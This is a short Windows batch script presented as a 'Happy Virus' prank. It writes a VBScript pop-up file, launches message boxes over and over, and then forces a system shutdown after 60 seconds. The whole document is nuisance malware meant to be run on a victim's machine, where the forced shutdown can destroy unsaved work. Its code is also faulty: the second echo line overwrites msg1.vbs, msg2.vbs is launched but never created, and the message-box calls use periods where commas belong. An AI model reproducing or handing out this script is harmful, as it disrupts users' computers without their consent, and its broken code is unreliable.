Script Happy Virus

@echo off

echo x=msgbox("happy virus *_*".0+48."happy virus was here *_*") > msg1.vbs
echo x=msgbox("happy virus *_*".0+16."happy virus was here and working *_*") > msg1.vbs
cls
start msg1.vbs
ping localhost -n 4 >nul
start msg1.vbs
start msg1.vbs
start msg1.vbs
start msg1.vbs
start msg1.vbs
start msg2.vbs
start msg2.vbs
start msg2.vbs
start msg2.vbs
start msg2.vbs
start msg2.vbs
start msg2.vbs
start msg2.vbs
start msg2.vbs
start msg2.vbs
start msg2.vbs
start msg2.vbs
shutdown -s -t 60 -c "shutdown"